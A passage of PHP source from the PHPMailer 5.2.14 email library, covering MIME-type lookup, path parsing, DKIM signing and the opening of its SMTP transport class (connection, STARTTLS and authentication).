3689 'exe' => 'application/octet-stream',
3690 'lha' => 'application/octet-stream',
3691 'lzh' => 'application/octet-stream',
3692 'psd' => 'application/octet-stream',
3693 'sea' => 'application/octet-stream',
3694 'so' => 'application/octet-stream',
3695 'oda' => 'application/oda',
3696 'pdf' => 'application/pdf',
3697 'ai' => 'application/postscript',
3698 'eps' => 'application/postscript',
3699 'ps' => 'application/postscript',
3700 'smi' => 'application/smil',
3701 'smil' => 'application/smil',
3702 'mif' => 'application/vnd.mif',
3703 'xls' => 'application/vnd.ms-excel',
3704 'ppt' => 'application/vnd.ms-powerpoint',
3705 'wbxml' => 'application/vnd.wap.wbxml',
3706 'wmlc' => 'application/vnd.wap.wmlc',
3707 'dcr' => 'application/x-director',
3708 'dir' => 'application/x-director',
3709 'dxr' => 'application/x-director',
3710 'dvi' => 'application/x-dvi',
3711 'gtar' => 'application/x-gtar',
3712 'php3' => 'application/x-httpd-php',
3713 'php4' => 'application/x-httpd-php',
3714 'php' => 'application/x-httpd-php',
3715 'phtml' => 'application/x-httpd-php',
3716 'phps' => 'application/x-httpd-php-source',
3717 'swf' => 'application/x-shockwave-flash',
3718 'sit' => 'application/x-stuffit',
3719 'tar' => 'application/x-tar',
3720 'tgz' => 'application/x-tar',
3721 'xht' => 'application/xhtml+xml',
3722 'xhtml' => 'application/xhtml+xml',
3723 'zip' => 'application/zip',
3724 'mid' => 'audio/midi',
3725 'midi' => 'audio/midi',
3726 'mp2' => 'audio/mpeg',
3727 'mp3' => 'audio/mpeg',
3728 'mpga' => 'audio/mpeg',
3729 'aif' => 'audio/x-aiff',
3730 'aifc' => 'audio/x-aiff',
3731 'aiff' => 'audio/x-aiff',
3732 'ram' => 'audio/x-pn-realaudio',
3733 'rm' => 'audio/x-pn-realaudio',
3734 'rpm' => 'audio/x-pn-realaudio-plugin',
3735 'ra' => 'audio/x-realaudio',
3736 'wav' => 'audio/x-wav',
3737 'bmp' => 'image/bmp',
3738 'gif' => 'image/gif',
3739 'jpeg' => 'image/jpeg',
3740 'jpe' => 'image/jpeg',
3741 'jpg' => 'image/jpeg',
3742 'png' => 'image/png',
3743 'tiff' => 'image/tiff',
3744 'tif' => 'image/tiff',
3745 'eml' => 'message/rfc822',
3746 'css' => 'text/css',
3747 'html' => 'text/html',
3748 'htm' => 'text/html',
3749 'shtml' => 'text/html',
3750 'log' => 'text/plain',
3751 'text' => 'text/plain',
3752 'txt' => 'text/plain',
3753 'rtx' => 'text/richtext',
3754 'rtf' => 'text/rtf',
3755 'vcf' => 'text/vcard',
3756 'vcard' => 'text/vcard',
3757 'xml' => 'text/xml',
3758 'xsl' => 'text/xml',
3759 'mpeg' => 'video/mpeg',
3760 'mpe' => 'video/mpeg',
3761 'mpg' => 'video/mpeg',
3762 'mov' => 'video/quicktime',
3763 'qt' => 'video/quicktime',
3764 'rv' => 'video/vnd.rn-realvideo',
3765 'avi' => 'video/x-msvideo',
3766 'movie' => 'video/x-sgi-movie'
3767 );
3768 if (array_key_exists(strtolower($ext), $mimes)) {
3769 return $mimes[strtolower($ext)];
3770 }
3771 return 'application/octet-stream';
3772 }
3773 /**
3774 * Map a file name to a MIME type.
3775 * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
3776 * @param string $filename A file name or full path, does not need to exist as a file
3777 * @return string
3778 * @static
3779 */
3780 public static function filenameToType($filename)
3781 {
3782 // In case the path is a URL, strip any query string before getting extension
3783 $qpos = strpos($filename, '?');
3784 if (false !== $qpos) {
3785 $filename = substr($filename, 0, $qpos);
3786 }
3787 $pathinfo = self::mb_pathinfo($filename);
3788 return self::_mime_types($pathinfo['extension']);
3789 }
3790 /**
3791 * Multi-byte-safe pathinfo replacement.
3792 * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
3793 * Works similarly to the one in PHP >= 5.2.0
3794 * @link http://www.php.net/manual/en/function.pathinfo.php#107461
3795 * @param string $path A filename or path, does not need to exist as a file
3796 * @param integer|string $options Either a PATHINFO_* constant,
3797 * or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
3798 * @return string|array
3799 * @static
3800 */
3801 public static function mb_pathinfo($path, $options = null)
3802 {
3803 $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
3804 $pathinfo = array();
3805 if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
3806 if (array_key_exists(1, $pathinfo)) {
3807 $ret['dirname'] = $pathinfo[1];
3808 }
3809 if (array_key_exists(2, $pathinfo)) {
3810 $ret['basename'] = $pathinfo[2];
3811 }
3812 if (array_key_exists(5, $pathinfo)) {
3813 $ret['extension'] = $pathinfo[5];
3814 }
3815 if (array_key_exists(3, $pathinfo)) {
3816 $ret['filename'] = $pathinfo[3];
3817 }
3818 }
3819 switch ($options) {
3820 case PATHINFO_DIRNAME:
3821 case 'dirname':
3822 return $ret['dirname'];
3823 case PATHINFO_BASENAME:
3824 case 'basename':
3825 return $ret['basename'];
3826 case PATHINFO_EXTENSION:
3827 case 'extension':
3828 return $ret['extension'];
3829 case PATHINFO_FILENAME:
3830 case 'filename':
3831 return $ret['filename'];
3832 default:
3833 return $ret;
3834 }
3835 }
3836 /**
3837 * Set or reset instance properties.
3838 * You should avoid this function - it's more verbose, less efficient, more error-prone and
3839 * harder to debug than setting properties directly.
3840 * Usage Example:
3841 * `$mail->set('SMTPSecure', 'tls');`
3842 * is the same as:
3843 * `$mail->SMTPSecure = 'tls';`
3844 * @access public
3845 * @param string $name The property name to set
3846 * @param mixed $value The value to set the property to
3847 * @return boolean
3848 * @TODO Should this not be using the __set() magic function?
3849 */
3850 public function set($name, $value = '')
3851 {
3852 if (property_exists($this, $name)) {
3853 $this->$name = $value;
3854 return true;
3855 } else {
3856 $this->setError($this->lang('variable_set') . $name);
3857 return false;
3858 }
3859 }
3860 /**
3861 * Strip newlines to prevent header injection.
3862 * @access public
3863 * @param string $str
3864 * @return string
3865 */
3866 public function secureHeader($str)
3867 {
3868 return trim(str_replace(array("\r", "\n"), '', $str));
3869 }
3870 /**
3871 * Normalize line breaks in a string.
3872 * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
3873 * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
3874 * @param string $text
3875 * @param string $breaktype What kind of line break to use, defaults to CRLF
3876 * @return string
3877 * @access public
3878 * @static
3879 */
3880 public static function normalizeBreaks($text, $breaktype = "\r\n")
3881 {
3882 return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
3883 }
3884 /**
3885 * Set the public and private key files and password for S/MIME signing.
3886 * @access public
3887 * @param string $cert_filename
3888 * @param string $key_filename
3889 * @param string $key_pass Password for private key
3890 * @param string $extracerts_filename Optional path to chain certificate
3891 */
3892 public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
3893 {
3894 $this->sign_cert_file = $cert_filename;
3895 $this->sign_key_file = $key_filename;
3896 $this->sign_key_pass = $key_pass;
3897 $this->sign_extracerts_file = $extracerts_filename;
3898 }
3899 /**
3900 * Quoted-Printable-encode a DKIM header.
3901 * @access public
3902 * @param string $txt
3903 * @return string
3904 */
3905 public function DKIM_QP($txt)
3906 {
3907 $line = '';
3908 for ($i = 0; $i < strlen($txt); $i++) {
3909 $ord = ord($txt[$i]);
3910 if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
3911 $line .= $txt[$i];
3912 } else {
3913 $line .= '=' . sprintf('%02X', $ord);
3914 }
3915 }
3916 return $line;
3917 }
3918 /**
3919 * Generate a DKIM signature.
3920 * @access public
3921 * @param string $signHeader
3922 * @throws phpmailerException
3923 * @return string The DKIM signature value
3924 */
3925 public function DKIM_Sign($signHeader)
3926 {
3927 if (!defined('PKCS7_TEXT')) {
3928 if ($this->exceptions) {
3929 throw new phpmailerException($this->lang('extension_missing') . 'openssl');
3930 }
3931 return '';
3932 }
3933 $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
3934 if ('' != $this->DKIM_passphrase) {
3935 $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
3936 } else {
3937 $privKey = openssl_pkey_get_private($privKeyStr);
3938 }
3939 //Workaround for missing digest algorithms in old PHP & OpenSSL versions
3940 //@link http://stackoverflow.com/a/11117338/333340
3941 if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
3942 in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
3943 if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
3944 openssl_pkey_free($privKey);
3945 return base64_encode($signature);
3946 }
3947 } else {
3948 $pinfo = openssl_pkey_get_details($privKey);
3949 $hash = hash('sha256', $signHeader);
3950 //'Magic' constant for SHA256 from RFC3447
3951 //@link https://tools.ietf.org/html/rfc3447#page-43
3952 $t = '3031300d060960864801650304020105000420' . $hash;
3953 $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
3954 $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);
3955 if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
3956 openssl_pkey_free($privKey);
3957 return base64_encode($signature);
3958 }
3959 }
3960 openssl_pkey_free($privKey);
3961 return '';
3962 }
3963 /**
3964 * Generate a DKIM canonicalization header.
3965 * @access public
3966 * @param string $signHeader Header
3967 * @return string
3968 */
3969 public function DKIM_HeaderC($signHeader)
3970 {
3971 $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
3972 $lines = explode("\r\n", $signHeader);
3973 foreach ($lines as $key => $line) {
3974 list($heading, $value) = explode(':', $line, 2);
3975 $heading = strtolower($heading);
3976 $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
3977 $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
3978 }
3979 $signHeader = implode("\r\n", $lines);
3980 return $signHeader;
3981 }
3982 /**
3983 * Generate a DKIM canonicalization body.
3984 * @access public
3985 * @param string $body Message Body
3986 * @return string
3987 */
3988 public function DKIM_BodyC($body)
3989 {
3990 if ($body == '') {
3991 return "\r\n";
3992 }
3993 // stabilize line endings
3994 $body = str_replace("\r\n", "\n", $body);
3995 $body = str_replace("\n", "\r\n", $body);
3996 // END stabilize line endings
3997 while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
3998 $body = substr($body, 0, strlen($body) - 2);
3999 }
4000 return $body;
4001 }
4002 /**
4003 * Create the DKIM header and body in a new message header.
4004 * @access public
4005 * @param string $headers_line Header lines
4006 * @param string $subject Subject
4007 * @param string $body Body
4008 * @return string
4009 */
4010 public function DKIM_Add($headers_line, $subject, $body)
4011 {
4012 $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
4013 $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
4014 $DKIMquery = 'dns/txt'; // Query method
4015 $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
4016 $subject_header = "Subject: $subject";
4017 $headers = explode($this->LE, $headers_line);
4018 $from_header = '';
4019 $to_header = '';
4020 $date_header = '';
4021 $current = '';
4022 foreach ($headers as $header) {
4023 if (strpos($header, 'From:') === 0) {
4024 $from_header = $header;
4025 $current = 'from_header';
4026 } elseif (strpos($header, 'To:') === 0) {
4027 $to_header = $header;
4028 $current = 'to_header';
4029 } elseif (strpos($header, 'Date:') === 0) {
4030 $date_header = $header;
4031 $current = 'date_header';
4032 } else {
4033 if (!empty($$current) && strpos($header, ' =?') === 0) {
4034 $$current .= $header;
4035 } else {
4036 $current = '';
4037 }
4038 }
4039 }
4040 $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
4041 $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
4042 $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
4043 $subject = str_replace(
4044 '|',
4045 '=7C',
4046 $this->DKIM_QP($subject_header)
4047 ); // Copied header fields (dkim-quoted-printable)
4048 $body = $this->DKIM_BodyC($body);
4049 $DKIMlen = strlen($body); // Length of body
4050 $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
4051 if ('' == $this->DKIM_identity) {
4052 $ident = '';
4053 } else {
4054 $ident = ' i=' . $this->DKIM_identity . ';';
4055 }
4056 $dkimhdrs = 'DKIM-Signature: v=1; a=' .
4057 $DKIMsignatureType . '; q=' .
4058 $DKIMquery . '; l=' .
4059 $DKIMlen . '; s=' .
4060 $this->DKIM_selector .
4061 ";\r\n" .
4062 "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
4063 "\th=From:To:Date:Subject;\r\n" .
4064 "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
4065 "\tz=$from\r\n" .
4066 "\t|$to\r\n" .
4067 "\t|$date\r\n" .
4068 "\t|$subject;\r\n" .
4069 "\tbh=" . $DKIMb64 . ";\r\n" .
4070 "\tb=";
4071 $toSign = $this->DKIM_HeaderC(
4072 $from_header . "\r\n" .
4073 $to_header . "\r\n" .
4074 $date_header . "\r\n" .
4075 $subject_header . "\r\n" .
4076 $dkimhdrs
4077 );
4078 $signed = $this->DKIM_Sign($toSign);
4079 return $dkimhdrs . $signed . "\r\n";
4080 }
4081 /**
4082 * Detect if a string contains a line longer than the maximum line length allowed.
4083 * @param string $str
4084 * @return boolean
4085 * @static
4086 */
4087 public static function hasLineLongerThanMax($str)
4088 {
4089 //+2 to include CRLF line break for a 1000 total
4090 return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
4091 }
4092 /**
4093 * Allows for public read access to 'to' property.
4094 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4095 * @access public
4096 * @return array
4097 */
4098 public function getToAddresses()
4099 {
4100 return $this->to;
4101 }
4102 /**
4103 * Allows for public read access to 'cc' property.
4104 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4105 * @access public
4106 * @return array
4107 */
4108 public function getCcAddresses()
4109 {
4110 return $this->cc;
4111 }
4112 /**
4113 * Allows for public read access to 'bcc' property.
4114 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4115 * @access public
4116 * @return array
4117 */
4118 public function getBccAddresses()
4119 {
4120 return $this->bcc;
4121 }
4122 /**
4123 * Allows for public read access to 'ReplyTo' property.
4124 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4125 * @access public
4126 * @return array
4127 */
4128 public function getReplyToAddresses()
4129 {
4130 return $this->ReplyTo;
4131 }
4132 /**
4133 * Allows for public read access to 'all_recipients' property.
4134 * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
4135 * @access public
4136 * @return array
4137 */
4138 public function getAllRecipientAddresses()
4139 {
4140 return $this->all_recipients;
4141 }
4142 /**
4143 * Perform a callback.
4144 * @param boolean $isSent
4145 * @param array $to
4146 * @param array $cc
4147 * @param array $bcc
4148 * @param string $subject
4149 * @param string $body
4150 * @param string $from
4151 */
4152 protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
4153 {
4154 if (!empty($this->action_function) && is_callable($this->action_function)) {
4155 $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
4156 call_user_func_array($this->action_function, $params);
4157 }
4158 }
4159}
4160/**
4161 * PHPMailer exception handler
4162 * @package PHPMailer
4163 */
4164class phpmailerException extends Exception
4165{
4166 /**
4167 * Prettify error message output
4168 * @return string
4169 */
4170 public function errorMessage()
4171 {
4172 $errorMsg = '<strong>' . $this->getMessage() . "</strong><br />\n";
4173 return $errorMsg;
4174 }
4175}
4176
4177
4178
4179
4180
4181
4182
4183
4184
4185
4186
4187
4188
4189
4190
4191
4192
4193
4194
4195
4196
4197
4198
4199
4200
4201
4202
4203
4204
4205
4206
4207
4208
4209
4210
4211
4212
4213
4214
4215
4216
4217
4218
4219
4220
4221
4222
4223
4224
4225
4226
4227
4228
4229
4230
4231
4232
4233/**
4234 * PHPMailer RFC821 SMTP email transport class.
4235 * PHP Version 5
4236 * @package PHPMailer
4237 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
4238 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
4239 * @author Jim Jagielski (jimjag) <jimjag@gmail.com>
4240 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
4241 * @author Brent R. Matzelle (original founder)
4242 * @copyright 2014 Marcus Bointon
4243 * @copyright 2010 - 2012 Jim Jagielski
4244 * @copyright 2004 - 2009 Andy Prevost
4245 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
4246 * @note This program is distributed in the hope that it will be useful - WITHOUT
4247 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
4248 * FITNESS FOR A PARTICULAR PURPOSE.
4249 */
4250
4251/**
4252 * PHPMailer RFC821 SMTP email transport class.
4253 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
4254 * @package PHPMailer
4255 * @author Chris Ryan
4256 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
4257 */
4258class SMTP
4259{
4260 /**
4261 * The PHPMailer SMTP version number.
4262 * @var string
4263 */
4264 const VERSION = '5.2.14';
4265
4266 /**
4267 * SMTP line break constant.
4268 * @var string
4269 */
4270 const CRLF = "\r\n";
4271
4272 /**
4273 * The SMTP port to use if one is not specified.
4274 * @var integer
4275 */
4276 const DEFAULT_SMTP_PORT = 25;
4277
4278 /**
4279 * The maximum line length allowed by RFC 2822 section 2.1.1
4280 * @var integer
4281 */
4282 const MAX_LINE_LENGTH = 998;
4283
4284 /**
4285 * Debug level for no output
4286 */
4287 const DEBUG_OFF = 0;
4288
4289 /**
4290 * Debug level to show client -> server messages
4291 */
4292 const DEBUG_CLIENT = 1;
4293
4294 /**
4295 * Debug level to show client -> server and server -> client messages
4296 */
4297 const DEBUG_SERVER = 2;
4298
4299 /**
4300 * Debug level to show connection status, client -> server and server -> client messages
4301 */
4302 const DEBUG_CONNECTION = 3;
4303
4304 /**
4305 * Debug level to show all messages
4306 */
4307 const DEBUG_LOWLEVEL = 4;
4308
4309 /**
4310 * The PHPMailer SMTP Version number.
4311 * @var string
4312 * @deprecated Use the `VERSION` constant instead
4313 * @see SMTP::VERSION
4314 */
4315 public $Version = '5.2.14';
4316
4317 /**
4318 * SMTP server port number.
4319 * @var integer
4320 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
4321 * @see SMTP::DEFAULT_SMTP_PORT
4322 */
4323 public $SMTP_PORT = 25;
4324
4325 /**
4326 * SMTP reply line ending.
4327 * @var string
4328 * @deprecated Use the `CRLF` constant instead
4329 * @see SMTP::CRLF
4330 */
4331 public $CRLF = "\r\n";
4332
4333 /**
4334 * Debug output level.
4335 * Options:
4336 * * self::DEBUG_OFF (`0`) No debug output, default
4337 * * self::DEBUG_CLIENT (`1`) Client commands
4338 * * self::DEBUG_SERVER (`2`) Client commands and server responses
4339 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
4340 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
4341 * @var integer
4342 */
4343 public $do_debug = self::DEBUG_OFF;
4344
4345 /**
4346 * How to handle debug output.
4347 * Options:
4348 * * `echo` Output plain-text as-is, appropriate for CLI
4349 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
4350 * * `error_log` Output to error log as configured in php.ini
4351 *
4352 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
4353 * <code>
4354 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
4355 * </code>
4356 * @var string|callable
4357 */
4358 public $Debugoutput = 'echo';
4359
4360 /**
4361 * Whether to use VERP.
4362 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
4363 * @link http://www.postfix.org/VERP_README.html Info on VERP
4364 * @var boolean
4365 */
4366 public $do_verp = false;
4367
4368 /**
4369 * The timeout value for connection, in seconds.
4370 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
4371 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
4372 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
4373 * @var integer
4374 */
4375 public $Timeout = 300;
4376
4377 /**
4378 * How long to wait for commands to complete, in seconds.
4379 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
4380 * @var integer
4381 */
4382 public $Timelimit = 300;
4383
4384 /**
4385 * The socket for the server connection.
4386 * @var resource
4387 */
4388 protected $smtp_conn;
4389
4390 /**
4391 * Error information, if any, for the last SMTP command.
4392 * @var array
4393 */
4394 protected $error = array(
4395 'error' => '',
4396 'detail' => '',
4397 'smtp_code' => '',
4398 'smtp_code_ex' => ''
4399 );
4400
4401 /**
4402 * The reply the server sent to us for HELO.
4403 * If null, no HELO string has yet been received.
4404 * @var string|null
4405 */
4406 protected $helo_rply = null;
4407
4408 /**
4409 * The set of SMTP extensions sent in reply to EHLO command.
4410 * Indexes of the array are extension names.
4411 * Value at index 'HELO' or 'EHLO' (according to command that was sent)
4412 * represents the server name. In case of HELO it is the only element of the array.
4413 * Other values can be boolean TRUE or an array containing extension options.
4414 * If null, no HELO/EHLO string has yet been received.
4415 * @var array|null
4416 */
4417 protected $server_caps = null;
4418
4419 /**
4420 * The most recent reply received from the server.
4421 * @var string
4422 */
4423 protected $last_reply = '';
4424
4425 /**
4426 * Output debugging info via a user-selected method.
4427 * @see SMTP::$Debugoutput
4428 * @see SMTP::$do_debug
4429 * @param string $str Debug string to output
4430 * @param integer $level The debug level of this message; see DEBUG_* constants
4431 * @return void
4432 */
4433 protected function edebug($str, $level = 0)
4434 {
4435 if ($level > $this->do_debug) {
4436 return;
4437 }
4438 //Avoid clash with built-in function names
4439 if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
4440 call_user_func($this->Debugoutput, $str, $this->do_debug);
4441 return;
4442 }
4443 switch ($this->Debugoutput) {
4444 case 'error_log':
4445 //Don't output, just log
4446 error_log($str);
4447 break;
4448 case 'html':
4449 //Cleans up output a bit for a better looking, HTML-safe output
4450 echo htmlentities(
4451 preg_replace('/[\r\n]+/', '', $str),
4452 ENT_QUOTES,
4453 'UTF-8'
4454 )
4455 . "<br>\n";
4456 break;
4457 case 'echo':
4458 default:
4459 //Normalize line breaks
4460 $str = preg_replace('/(\r\n|\r|\n)/ms', "\n", $str);
4461 echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
4462 "\n",
4463 "\n \t ",
4464 trim($str)
4465 )."\n";
4466 }
4467 }
4468
4469 /**
4470 * Connect to an SMTP server.
4471 * @param string $host SMTP server IP or host name
4472 * @param integer $port The port number to connect to
4473 * @param integer $timeout How long to wait for the connection to open
4474 * @param array $options An array of options for stream_context_create()
4475 * @access public
4476 * @return boolean
4477 */
4478 public function connect($host, $port = null, $timeout = 30, $options = array())
4479 {
4480 static $streamok;
4481 //This is enabled by default since 5.0.0 but some providers disable it
4482 //Check this once and cache the result
4483 if (is_null($streamok)) {
4484 $streamok = function_exists('stream_socket_client');
4485 }
4486 // Clear errors to avoid confusion
4487 $this->setError('');
4488 // Make sure we are __not__ connected
4489 if ($this->connected()) {
4490 // Already connected, generate error
4491 $this->setError('Already connected to a server');
4492 return false;
4493 }
4494 if (empty($port)) {
4495 $port = self::DEFAULT_SMTP_PORT;
4496 }
4497 // Connect to the SMTP server
4498 $this->edebug(
4499 "Connection: opening to $host:$port, timeout=$timeout, options=".var_export($options, true),
4500 self::DEBUG_CONNECTION
4501 );
4502 $errno = 0;
4503 $errstr = '';
4504 if ($streamok) {
4505 $socket_context = stream_context_create($options);
4506 //Suppress errors; connection failures are handled at a higher level
4507 $this->smtp_conn = @stream_socket_client(
4508 $host . ":" . $port,
4509 $errno,
4510 $errstr,
4511 $timeout,
4512 STREAM_CLIENT_CONNECT,
4513 $socket_context
4514 );
4515 } else {
4516 //Fall back to fsockopen which should work in more places, but is missing some features
4517 $this->edebug(
4518 "Connection: stream_socket_client not available, falling back to fsockopen",
4519 self::DEBUG_CONNECTION
4520 );
4521 $this->smtp_conn = fsockopen(
4522 $host,
4523 $port,
4524 $errno,
4525 $errstr,
4526 $timeout
4527 );
4528 }
4529 // Verify we connected properly
4530 if (!is_resource($this->smtp_conn)) {
4531 $this->setError(
4532 'Failed to connect to server',
4533 $errno,
4534 $errstr
4535 );
4536 $this->edebug(
4537 'SMTP ERROR: ' . $this->error['error']
4538 . ": $errstr ($errno)",
4539 self::DEBUG_CLIENT
4540 );
4541 return false;
4542 }
4543 $this->edebug('Connection: opened', self::DEBUG_CONNECTION);
4544 // SMTP server can take longer to respond, give longer timeout for first read
4545 // Windows does not have support for this timeout function
4546 if (substr(PHP_OS, 0, 3) != 'WIN') {
4547 $max = ini_get('max_execution_time');
4548 // Don't bother if unlimited
4549 if ($max != 0 && $timeout > $max) {
4550 @set_time_limit($timeout);
4551 }
4552 stream_set_timeout($this->smtp_conn, $timeout, 0);
4553 }
4554 // Get any announcement
4555 $announce = $this->get_lines();
4556 $this->edebug('SERVER -> CLIENT: ' . $announce, self::DEBUG_SERVER);
4557 return true;
4558 }
4559
4560 /**
4561 * Initiate a TLS (encrypted) session.
4562 * @access public
4563 * @return boolean
4564 */
4565 public function startTLS()
4566 {
4567 if (!$this->sendCommand('STARTTLS', 'STARTTLS', 220)) {
4568 return false;
4569 }
4570 // Begin encrypted connection
4571 if (!stream_socket_enable_crypto(
4572 $this->smtp_conn,
4573 true,
4574 STREAM_CRYPTO_METHOD_TLS_CLIENT
4575 )) {
4576 return false;
4577 }
4578 return true;
4579 }
4580
4581 /**
4582 * Perform SMTP authentication.
4583 * Must be run after hello().
4584 * @see hello()
4585 * @param string $username The user name
4586 * @param string $password The password
4587 * @param string $authtype The auth type (PLAIN, LOGIN, NTLM, CRAM-MD5, XOAUTH2)
4588 * @param string $realm The auth realm for NTLM
4589 * @param string $workstation The auth workstation for NTLM
4590 * @param null|OAuth $OAuth An optional OAuth instance (@see PHPMailerOAuth)
4591 * @return bool True if successfully authenticated.* @access public
4592 */
4593 public function authenticate(
4594 $username,
4595 $password,
4596 $authtype = null,
4597 $realm = '',
4598 $workstation = '',
4599 $OAuth = null
4600 ) {
4601 if (!$this->server_caps) {
4602 $this->setError('Authentication is not allowed before HELO/EHLO');
4603 return false;
4604 }
4605
4606 if (array_key_exists('EHLO', $this->server_caps)) {
4607 // SMTP extensions are available. Let's try to find a proper authentication method
4608
4609 if (!array_key_exists('AUTH', $this->server_caps)) {
4610 $this->setError('Authentication is not allowed at this stage');
4611 // 'at this stage' means that auth may be allowed after the stage changes
4612 // e.g. after STARTTLS
4613 return false;
4614 }
4615
4616 self::edebug('Auth method requested: ' . ($authtype ? $authtype : 'UNKNOWN'), self::DEBUG_LOWLEVEL);
4617 self::edebug(
4618 'Auth methods available on the server: ' . implode(',', $this->server_caps['AUTH']),
4619 self::DEBUG_LOWLEVEL
4620 );
4621
4622 if (empty($authtype)) {
4623 foreach (array('LOGIN', 'CRAM-MD5', 'NTLM', 'PLAIN', 'XOAUTH2') as $method) {
4624 if (in_array($method, $this->server_caps['AUTH'])) {
4625 $authtype = $method;
4626 break;
4627 }
4628 }
4629 if (empty($authtype)) {
4630 $this->setError('No supported authentication methods found');
4631 return false;
4632 }
4633 self::edebug('Auth method selected: '.$authtype, self::DEBUG_LOWLEVEL);
4634 }
4635
4636 if (!in_array($authtype, $this->server_caps['AUTH'])) {
4637 $this->setError("The requested authentication method \"$authtype\" is not supported by the server");
4638 return false;
4639 }
4640 } elseif (empty($authtype)) {
4641 $authtype = 'LOGIN';
4642 }
4643 switch ($authtype) {
4644 case 'PLAIN':
4645 // Start authentication
4646 if (!$this->sendCommand('AUTH', 'AUTH PLAIN', 334)) {
4647 return false;
4648 }
4649 // Send encoded username and password
4650 if (!$this->sendCommand(
4651 'User & Password',
4652 base64_encode("\0" . $username . "\0" . $password),
4653 235
4654 )
4655 ) {
4656 return false;
4657 }
4658 break;
4659 case 'LOGIN':
4660 // Start authentication
4661 if (!$this->sendCommand('AUTH', 'AUTH LOGIN', 334)) {
4662 return false;
4663 }
4664 if (!$this->sendCommand("Username", base64_encode($username), 334)) {
4665 return false;
4666 }
4667 if (!$this->sendCommand("Password", base64_encode($password), 235)) {
4668 return false;
4669 }
4670 break;
4671 case 'XOAUTH2':
4672 //If the OAuth Instance is not set. Can be a case when PHPMailer is used
4673 //instead of PHPMailerOAuth
4674 if (is_null($OAuth)) {
4675 return false;
4676 }
4677 $oauth = $OAuth->getOauth64();
4678
4679 // Start authentication
4680 if (!$this->sendCommand('AUTH', 'AUTH XOAUTH2 ' . $oauth, 235)) {
4681 return false;
4682 }
4683 break;
4684 case 'NTLM':
4685 /*
4686 * ntlm_sasl_client.php
4687 * Bundled with Permission
4688 *
4689 * How to telnet in windows:
4690 * http://technet.microsoft.com/en-us/library/aa995718%28EXCHG.65%29.aspx
4691 * PROTOCOL Docs http://curl.haxx.se/rfc/ntlm.html#ntlmSmtpAuthentication
4692 */
4693 require_once 'extras/ntlm_sasl_client.php';
4694 $temp = new stdClass;
4695 $ntlm_client = new ntlm_sasl_client_class;
4696 //Check that functions are available
4697 if (!$ntlm_client->Initialize($temp)) {
4698 $this->setError($temp->error);
4699 $this->edebug(
4700 'You need to enable some modules in your php.ini file: '
4701 . $this->error['error'],
4702 self::DEBUG_CLIENT
4703 );
4704 return false;
4705 }
4706 //msg1
